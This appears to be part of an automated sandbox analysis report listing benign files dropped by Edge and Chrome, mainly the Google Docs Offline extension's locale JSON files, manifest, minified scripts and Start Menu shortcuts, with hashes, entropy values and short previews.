Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 06:09:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974195093771334
Encrypted:	false
SSDEEP:	48:8Id9TlViAHWidAKZdA19ehwiZUklqeh0y+3:8iXiBry
MD5:	CC09977A097084CD752DE69A54F45E51
SHA1:	BBF62211B0CA67735D14F9646594CDA4596ECAB7
SHA-256:	6A4DA0C1E3447E86B14F78777E5C40C47E8F072373FEF14CAB2C218EF39C11C3
SHA-512:	997F34994781956F6179F292D001B04DBA8C6B229646A38693D02507B7555DBB2F1811CDFB64D61DF3E43740F4E0552F007121EEF2D4A43B8A283FC3044FA7E6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....k....;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY$9...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 06:09:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9876372281939685
Encrypted:	false
SSDEEP:	48:8Sd9TlViAHWidAKZdA1weh/iZUkAQkqehby+2:8AXiz9QKy
MD5:	00A129590930D81AF5BAD0A771682701
SHA1:	1E36C087F6B71378B3FA18112F1EB674308A4041
SHA-256:	D45DD480834BA6E283B2EF58E2DC8D5A41B84AFBBDC29205F50E92BDB63D0086
SHA-512:	153891BD653B2D3A050AA18087A3DFDD68DF7E7C63751331321F42FE6E4ABF7B57C25489D4DB60EE46E96137ED21D31A7DC3C08CC0F5D2CAB5DE8424A91F76F9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....2x..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY$9...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001926436762749
Encrypted:	false
SSDEEP:	48:8xWd9TlVsHWidAKZdA14tseh7sFiZUkmgqeh7sBy+BX:8xsXvn/y
MD5:	5A01E162DC06E7C105D52E2DC59A409A
SHA1:	D4AF50383D2D444AB495DD54EC19D25E99F078AA
SHA-256:	C74018C69D7B0A429C85089E472367D241847C9EB95CCB2E428C415B4B716217
SHA-512:	C92BAFBA508E4E724DF5F613A393A8E416B4CBB05E1FF9DFA96B443FB0B74E0411EF10A132C5B253ADDBC2586964022CD5FA8A7BE2970565DC29D39AEE964D33
Malicious:	false
Reputation:	unknown
